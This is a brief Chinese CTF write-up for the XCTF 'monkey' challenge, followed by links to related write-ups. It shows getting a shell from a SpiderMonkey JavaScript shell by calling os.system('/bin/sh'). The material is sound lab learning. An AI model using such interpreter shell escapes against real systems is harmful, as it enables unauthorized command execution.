攻防世界 monkey wp （XCTF 3rd-BCTF-20

作者: 111p1kk | 来源:发表于2019-08-05 23:24 被阅读0次

运行js文件出现了js>，像是命令执行行，所以尝试

kk@ubuntu:~/Desktop/black/GFSJ/monkey$ ./js
js> ls
typein:1:1 ReferenceError: ls is not defined
Stack:
  @typein:1:1
js>

不得行啊，这个js更像是JavaScript的...触及知识盲区，就查看了writeup

考察jsshell==>Introduction_to_the_JavaScript_shell
wp让测试的命令输出太多东西了，找不到它指引的.... 但是这个os.system()很有用
我们测试一下写入参数"/bin/sh"

js> os.system("/bin/sh")
$ ls
js  libnspr4.so  libplc4.so  libplds4.so

成功getshell
下面远程尝试即可

攻防世界 monkey wp （XCTF 3rd-BCTF-20
运行js文件出现了js>，像是命令执行行，所以尝试不得行啊，这个js更像是JavaScript的...触及知识盲...
xctf_攻防世界 level2 | wp
monkey 本题是一个 c 语言框架的 js执行查看wp的得到提示这个框架内置函数有 os.system()...
攻防世界-Web_php_unserialize
高手进阶区，Web_php_unserialize 题目来源：攻防世界[https://adworld.xctf....
攻防世界-unserialize3
高手进阶区，unserialize3 题目来源：攻防世界[https://adworld.xctf.org.cn/...
攻防世界 dice_game wp （XCTF 4th-QCTF
写在前面这道题和新手区的guess_num如出一辙，都用到了覆盖和随机种子，可以参考一下/>.
攻防世界 Re wp
hello ctf sprintf（）：int sprintf( char *buffer, const char...
攻防世界 Crypto wp
easy rsa p和q为选取的两个大素数 e为随机选取的小于r =(p-1)(q-1)的数 d为e关于模r的模反...
攻防世界 Pwn wp
0x01get_shell 下载附件后直接丢IDA F5 0x02CGfsb 先用checksec查看开了哪些保护...
攻防世界 string wp
参考：CTF-wiki格式化字符串漏洞利用 0x01寻找漏洞 -checksec -在IDA中对文件进行分析。查...
XCTF攻防世界web部分writeup
adword里面题目很多，挑一些题目来记录 FlatScience 进入题目界面随便点点之后，发现是一些网站。对...